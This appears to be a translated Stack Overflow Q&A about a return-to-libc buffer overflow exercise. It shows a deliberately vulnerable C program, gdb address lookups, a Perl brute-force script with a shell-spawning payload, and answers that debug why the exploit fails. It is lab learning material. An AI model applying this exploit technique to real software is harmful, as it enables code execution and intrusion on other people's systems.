2012-11-26 69 views
6

我正在搞緩衝區溢出,特別是返回到libc類。返回到libc - 非法指令

我有以下的漏洞代碼:

#include<stdio.h> 
#include<string.h> 

main(int argc, char **argv) 
{ 
    char buffer[80]; 
    getchar(); 
    strcpy(buffer, argv[1]); 
    return 1; 
} 

我用gcc-2.95(不-fstack-protector)編譯它與-mpreferred-stack-boundary=2標誌。我跟着返回到"Hacking: The Art of Exploitation"的libc章節。

首先,我禁用ASLR:

$ cat /proc/sys/kernel/randomize_va_space 
0 

我發現的system地址:

$ cat find_system.c 
int main() { 
    system(""); 
    return 0; 
} 
$ gdb -q find_system 
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done. 
(gdb) break main 
Breakpoint 1 at 0x8048416 
(gdb) run 
Starting program: /home/bob/return_to_libc/find_system 

Breakpoint 1, 0x08048416 in main() 
(gdb) p system 
$1 = {<text variable, no debug info>} 0xb7eb6680 <system> 

我創建了一個環境變量包含命令我想用system執行:

$ cat get_env.c 
#include <stdio.h> 
#include <stdlib.h> 

int main(int argc, char *argv[]) { 
    printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1])); 
    return 0; 
} 
$ export EXPLOIT=/bin/zsh 
$ ./get_env EXPLOIT 
EXPLOIT=/bin/zsh: 0xbffff96d 

然後我做了一個perl腳本來自動吃了殼:

$ cat script.pl 
#!/usr/bin/perl 

for ($i = 1; $i < 200; $i++) { 
    print "Perl count: $i\n"; 
    system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'"); 

} 
$ ./script.pl 
(...) 
Perl count: 69 
Perl count: 70 
Perl count: 71 
Perl count: 72 
Illegal instruction 
Perl count: 73 
Segmentation fault 
Perl count: 74 
Segmentation fault 
(...) 

我哪裏錯了?爲什麼我會得到「非法指令」而不是我的外殼?

+0

附加一個調試器並找出(確保將一個'sleep(30)'拋入易受攻擊的程序中,讓自己有足夠的時間來連接一個調試器)。最有可能的是,它跳轉到有效的內存地址,但包含數據,而不是指令。 –

回答

6
$ gdb vuln 
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf' 

改變「A」的數量以測試各種故障。在查找python -c "print 'A'*73"(73用於產生上述)有助於生成參數。

gdb會告訴你你崩潰的具體位置以及崩潰時的EIP/RIP。這應該引導你回答你的問題。

最有可能的是,您沒有在堆棧的返回地址中獲得一個好的指針,並且執行內存不會反彙編爲有效的指令。我想你會在這裏。分段錯誤更可能是在甚至沒有分配的內存區域執行着陸。

使用(gdb) x/10i $eip來確定崩潰時在EIP上的指令是什麼。您可以通過修改該命令中的10來改變反彙編的長度。

你還需要弄清楚你的系統參數在堆棧上的位置,以便它進入調用約定中的適當位置以便系統調用它。 gdb也應該能夠在這裏幫助你(再次,使用x-x/4w也許 - 和i r)。

成功的開發需要上述兩個部分:0xb7eb6680必須位於返回地址,而0xbffff96d必須位於系統要讀取其第一個參數的任何位置。

另一個有用的技巧:在strcpy函數末尾的ret上設置一個斷點。這是一個方便的地方來檢查你的堆棧和註冊狀態,並確定你要做什麼。 ret是開發發生的地方:您提供的返回地址被讀取,處理器開始在該地址執行,並且您關閉,假設您可以通過正確的參數維持執行,無論您正在調用什麼等等。程序在ret處的狀態是make或break點,因此它是查看輸入內容有什麼問題以及爲什麼您將成功或不會成功利用此漏洞的最簡單方法。

請原諒我,如果我的gdb語法不是砰的一聲......這不是我的主要調試器。

+0

謝謝你的回答。你的建議最終導致我找出問題所在。問題在於,不知何故,getenv()返回的地址無法訪問。我通過從'environ'中取出字符串來解決這個問題。 –